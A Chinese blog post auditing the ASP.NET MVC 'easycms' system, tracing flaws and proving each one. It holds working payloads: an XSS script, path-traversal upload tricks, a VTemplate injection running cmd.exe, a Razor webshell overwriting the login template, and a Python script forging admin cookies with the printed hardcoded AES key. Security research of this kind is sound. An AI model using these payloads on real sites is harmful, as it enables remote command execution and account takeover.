基于ASP.NET MVC的easycms的easy代码审计

前言

好久都没写博客了,做毕业设计的事、实习的事,还有其他事、各种事,也算是给我这个准备踏入社会的毛头小子上了一课,唉。最近一直有锻炼身体,感觉坚持学习的习惯也不能丢。两次实习的经历让我想搞搞代码审计和漏洞复现,在github上找了个一直有更新的ASP.NET MVC的cms审计一下,于是有了这篇文章。

前期踩点

个人感觉白加黑的方式做代码审计更好,初略的看下这套系统的功能。前台看了下,除了查看栏目、查看文章和登录功能外并没有其他多余的功能。后台看了一圈,感觉文章管理、模板管理、站点设置、定时任务和个人中心这些功能存在漏洞的可能性比较大,需要重点审计这些功能。

后台存储型XSS

审计步骤

虽然后台的XSS没什么卵用,但借这个XSS试着跟踪下漏洞点,这时不知道为啥Visual Studio不能转到函数定义处,有点难顶。编辑文章这儿用的是ueditor,挖洞的时候经常挖他的XSS用来凑数。

点击保存文章请求会发送到/Cms/Content/Save这路由,代码在Atlass.Framework.Web.Areas.Cms.ControllersContentController.cs的87行开始,调用SaveContent方法保存文章内容。

1
2
3
4
5
6
7
8
[RequirePermission("cms:content:add,cms:content:edit")]
[HttpPost]
public IActionResult Save(cms_content dto)
{
_contentApp.SaveContent(dto, RequestHelper.AdminInfo());
...
return Success("保存成功");
}

去到Atlass.Framework.AppService.CmsContentAppService.cs的75行,跟进SaveContent方法,文章内容没用经过任何处理,直接保存到了数据库中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void SaveContent(cms_content dto, LoginUserDto loginUser)
{
dto.sub_title = dto.sub_title ?? "";
...
dto.update_time = DateTime.Now;
if (dto.id == 0)
{
dto.dept_id = loginUser.DeptId;
dto.create_by = loginUser.LoginName;
dto.create_time = dto.update_time;

long contentId = Sqldb.Insert(dto).ExecuteIdentity();
ChannelManagerCache.SetChannelLink(dto.channel_id, (int)contentId);
}
else
{
Sqldb.Update<cms_content>().SetSource(dto).ExecuteAffrows();
}
}

接下来去看看显示文章的地方,在Atlass.Framework.Web.Controllers.Cms的另一个ContentController控制器的48行,调用GenerateHtml方法生成html并显示。GenerateHtml方法同时复杂首页、栏目和新闻的html生成,在Atlass.Framework.GenerateGenerateService.cs的71到73行原封不动地获取文章内容、栏目和VTemplate模板。

1
2
3
contentModel = generateApp.GetContentInfo(contentId);
channelModel = generateApp.GetChannel(contentModel.channel_id);
templateModel = ChannelManagerCache.GetContentTemplate(contentModel.channel_id);

任何在182行到185行将栏目和文章内容传到模板,并通过VTemplateGetRenderText方法生成html。

1
2
3
4
this.Document.Variables.SetValue("channel", channelModel);
this.Document.Variables.SetValue("content", contentModel);
//渲染内容数据
string renderHtml = this.Document.GetRenderText();

看看这个VTemplate模板,文章内容也是没有做任何处理直接显示到div标签里。于是乎XSS就产生了。

漏洞验证

文章管理处随便写点内容并抓包,替换请求中content参数的内容为<script>console.log("xss");</script>

去到被修改的那篇文章处,打开控制台就能看到执行完js代码后输出的xss了。

其他一些地方可能也还存着XSS,但是后台的XSS意义不大,后续也没继续找了。

任意文件上传

审计步骤

上传文件的接口都在BdUploadControllerUploadController这两个控制器里。先看看这个BdUploadController里的上传接口,属于自写ueditor后台的接口,无需身份验证,在前台就能访问。在78行到119行会根据传入的action参数对不同的文件上传类型进行白名单过滤,然而当action不是uploadimageuploadfileuploadvideo时就不会进入这三个if,当后续还是能保存文件,这三个白名单过滤就形同虚设了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (action == "uploadimage") 
{
var imageExt = uploadSet.image_extname.Split(',');
if (!imageExt.Contains(extName))
{
result.state = "FAIL";
result.error = $"禁止上传图片类型:{extName}";
return Content(result.ToJson());
}
}else if (action== "uploadfile")
{
...
}
else if(action=="uploadvideo")
{
...
}

绕过白名单过滤后,上传的文件以随机字符串加上原文件后缀的方式保存。

UploadController里的上传图片和上传logo的接口也是存在任意文件上传的,但是文件名不可控,这里就不细说了。值得注意的是SaveChunkFile接口,也就是文章的上传附件功能,实现大文件分片上传的功能。在第233行当此次上传文件的大小大于给定THUNK_SIZE的时候,来到第263行,会从chunk参数中获取文件名,从name参数获取上传文件后缀,以此为新的文件名保存至临时文件夹中。这时就技能上传任意后缀文件,又能控制文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
string action = RequestHelper.GetPostString("action");
string guid = RequestHelper.GetPostString("guid");
string fileName = RequestHelper.GetPostString("name");
string chunk= RequestHelper.GetPostString("chunk");
var tempDir = GlobalParamsDto.WebRoot + "/UploadTemp/"+ guid; // 缓存文件夹
var targetDir = GlobalParamsDto.WebRoot+"/upfiles/videos/"+DateTime.Now.ToString("yyyyMMdd");

...

var file = Request.Form.Files[0];

int index = fileName.LastIndexOf('.');
string extName = fileName.Substring(index);

//单文件小于分片大小的直接保存下来
if (file.Length < THUNK_SIZE)
{
...
return Content(result.ToJson());
}

//添加分片id缓存
FileChunkCache.AddChunkId(guid);
//大于分片大小的直接保存下来
if (!System.IO.Directory.Exists(tempDir))
{
System.IO.Directory.CreateDirectory(tempDir);
}
string filePath = tempDir+"/"+ chunk.ToString()+ extName;
//file.SaveFile(filePath);
using (FileStream fs = System.IO.File.Create(filePath))
{
file.CopyTo(fs);
fs.Flush();
}

漏洞验证

试了下ueditor上传图片的接口,修改下action参数和上传文件名filename的后缀,试试上传html文件,成功返回了是上传文件路径。

并且上传的文件也能访问到。

再传个webshell看看,这时候访问上传文件就变成404了,把所有asp.net可以解析的文件都试了一遍结果还是一样。

这就很耐人寻味了,已经返回上传文件路径,而且代码层面没有对上传文件的后缀进行任何的过滤,但为什么就不能访问了呢。还好我借助谷歌师傅找到了答案。

静态文件就是保存在磁盘文件系统上的 JavaScript 文件、图像图形、CSS 样式表文件等,ASP.NET Core 将这些静态文件视为资源,可以无需经过任何处理,直接作为响应返回给客户端。ASP.NET Core 中的静态文件一般存放在 wwwroot 目录下,如果不做额外的配置,那么 wwwroot 将会是我们应用程序中唯一可以存放静态文件的位置。

也就是说在wwwroot目录只能解析常见的静态文件,这些动态脚本文件肯定是不能解析,甚至是不能访问的。文件名不可控,那这些任意文件上传的接口危害就有限了,顶多给你上传个html。

好在还有一个文件分片传输的接口,控制文件名,上传并替换其中一个cshtml模板,利用Razor解析模板执行C#代码,就可以实现getshell了。将poc文件填充到5M,再上传文件并修改chunk../../../Views/Login/Index。在写到这的前一刻,我还以为这样就能getshell,然而世事总是充满了遗憾,当我信心满满的打开登录界面,事实给了我当头一棒。cshtml模板太大,状态码直接就报500了。看来文件上传getshell的路子走不通。

VTemplate模板注入

审计步骤

在前面的XSS漏洞里已经知道,前台页面使用的VTemplate模板引擎来渲染的。模板管理功能可以直接修改这些模板。这个代码没什么好审计的,直接来漏洞利用。

漏洞验证

VTemplate是一个很老的模板引擎,网上搜索了一下没有找到相关漏洞利用的文章,在看完开发文档后,发觉VTemplate是很强大的。利用<vt:serverdata>服务器数据标签元素获取请求阐述,<vt:function>函数调用标签元素调用函数,{$}变量元素输出变量内容基本就可以构造一个有回显的webshell。理论上理想情况下注入的内容是这样子的:

1
2
3
4
5
6
<vt:serverdata var="cmd" type="QueryString" item="cmd"/>
<vt:set var="cmd" value="$cmd" format="/c {0}"/>
<vt:function var="process" method="Start" type="System.Diagnostics.Process" args="cmd.exe" args="$cmd"/>
<vt:property var="streamReader " field="streamReader " type="$process.StandardOutput"/>
<vt:set var="result" value="$streamReader.ReadToEnd()"/>
{$result}

但是在获取请求参数这步就不行了,试了获取当前请求实例的方法也是不行,输出执行结果也不行。只能找个折中的方法,单次执行一条命令,将执行结果重定向到文件中,再访问文件获取结果。留下不学无术的泪水T_T

1
2
3
4
5
6
<vt:function var="path" method="GetFullPath" type="System.IO.Path" args="wwwroot"/>
<vt:set var="path" value="$path" value="tmp.txt" format="{0}\{1}"/>
<vt:set var="cmd" value="echo easycms_poc"/>
<vt:set var="cmd" value="$cmd" value="$path" format="/c {0} > {1}"/>
<vt:function var="process" method="Start" type="System.Diagnostics.Process" args="cmd.exe" args="$cmd"/>
<vt:output file="$path" />

Bingo

任意文件写

审计步骤

Atlass.Framework.Web.Areas.Cms.ControllersTemplateCodeController.csSave方法的第115行传入template_modetemplate_filetemplate_content,调用GenerateTemplateCreate方法。跟进到GenerateTemplate.cs,不同的template_mode的值最终都是FileUtils工具类的WriteText方法写文件。传入的template_filetemplate_content可控,导致任意文件写。

漏洞验证

漏洞利用的思路也是跟任意文件上传一样,覆盖原来的cshtml模板,利用Razor解析模板执行C#代码。在源码里随便找个cshtml模板,这里以登录页面得模板为例,加上以下cshtml webshell内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@using System.Diagnostics;
@using System.IO;
@functions {
private string ExecuteCommand(string command)
{
try
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "/c " + command;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.UseShellExecute = false;
Process process = Process.Start(processStartInfo);
using (StreamReader streamReader = process.StandardOutput)
{
string ret = streamReader.ReadToEnd();
return ret;
}
}
catch (Exception ex)
{
return ex.ToString();
}
}
}
@Html.Raw(ExecuteCommand(@Context.Request.Query["test"]))

然后在模板管理加个模板,模板文件就填../../../Views/Login/Index.cshtml,再保存模板就ok。

最后就能在登录页面执行命令了。

任意用户cookie伪造

审计步骤

到目前为止,除了一个文件名不可靠的任意文件上传外,其他漏洞都是后台的漏洞,能getshell的漏洞也是只能登陆后才能利用。但是从一开始就看这个Cookie不顺眼了,长长一串的,刚开始还以为是jwt,然而并不是。

去到LoginController的124和125行,将用户信息转为json并调用RequestHelper类的SetCookie方法。跟进到SetCookie方法,调用Encrypt类的AesEncrypt方法加密传进来的json,并设置为cookie。

1
2
string claimstr = loginUserDto.ToJson();
RequestHelper.SetCookie(claimstr);
1
2
3
4
5
cliamsString = Encrypt.AesEncrypt(cliamsString);
_context.Response.Cookies.Append(CookieClaim, cliamsString, new CookieOptions()
{
...
});

感觉会出大问题,跟进到AesEncrypt方法,果然密钥硬编码,IV为16个0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static byte[] _iv;
private static byte[] Iv {
get {
if ( _iv == null ) {
var size = 16;
_iv = new byte[size];
for ( int i = 0; i < size; i++ )
_iv[i] = 0;
}
return _iv;
}
}


public static string AesKey = "QaP1AF8utIarcBqdhYTZpVGbiNQ9M6IL";

public static string AesEncrypt( string value, string key, Encoding encoding ) {
if( string.IsNullOrWhiteSpace( value ) || string.IsNullOrWhiteSpace( key ) )
return string.Empty;
var rijndaelManaged = CreateRijndaelManaged( key );
using ( var transform = rijndaelManaged.CreateEncryptor( rijndaelManaged.Key, rijndaelManaged.IV ) ) {
return GetEncryptResult( value, encoding, transform );
}
}

漏洞验证

验证漏洞直接写一个AES的加密脚本就行了,但是被python的编码给坑惨了,最终网上CV了一个python2版本的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Cipher import AES
from pkcs7 import PKCS7Encoder
import base64

class RijndaelEncryptor(object):

def __init__(self, key, iv, k=16):
self.key = base64.b64decode(key)
self.iv = iv
self.k = k

def encrypt(self, text):
key = self.key
iv = self.iv
aes = AES.new(key, AES.MODE_CBC, iv)
pad_text = PKCS7Encoder().encode(text)
cipher_text = aes.encrypt(pad_text)
return base64.b64encode(cipher_text)

def decrypt(self, text):
key = self.key
iv = self.iv
aes = AES.new(key, AES.MODE_CBC, iv)
decode_text = base64.b64decode(text)
pad_text = aes.decrypt(decode_text)
return PKCS7Encoder().decode(pad_text)


if __name__ == '__main__':
ase = RijndaelEncryptor('QaP1AF8utIarcBqdhYTZpVGbiNQ9M6IL','\x00'*16)
userinfo = '{"Id":"138030650765382","LoginName":"admin","UserName":"test","IsSuper":true,"Gender":0,"RoleId":"0","RoleName":null,"RoleCode":null,"DeptId":0,"DeptName":"","Phone":"18888888888","Email":"","Avatar":"/upfiles/heads/60dc36b5006066164021cbf6.png"}'
enc = ase.encrypt(userinfo)
print(enc)

用户信息里没有验证Cookie时间的变量,所以不写这个脚本也可以,Cookie不会过期,而且理论上能用这个Cookie登录所有使用这个系统的网站。脚本生成一个用户名为test的Cookie,替换原来的Cookie,在后台主页就会显示当前用户为test。

后记

原本以为这篇文章能很快写完,但是前后也拖了两个星期。总的来说这个是不太难审计的CMS,虽然目录很多,看着很晕。从中也学到了不少东西,ASP.NET MVC的目录结构、VTemplate模板引擎。这个模板引擎在网上没看到有什么安全相关的文章,看了他的文档,发现他的导入dll库、执行SQL语句等功能挺有意思的,更多的玩法有待发掘。然后写了个漏洞验证的poc,虽然是利用很简单,也就点几下的事,但是还是得练练写poc的能力,代码扔到了github上,依然是渣代码。最后,不想当安全研究员的安服仔不是好的安服仔,一步一个脚印,加油吧打工人。

参考

https://www.twle.cn/l/yufei/aspnetcore/dotnet-aspnet-staticfile.html

https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/-in-ASP.NET-Razor/)

https://www.cnblogs.com/kingthy/archive/2009/08/17/net-vtemplate.html

https://www.cnblogs.com/kingthy/archive/2011/08/31/2161039.html

# SSTI, XSS

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×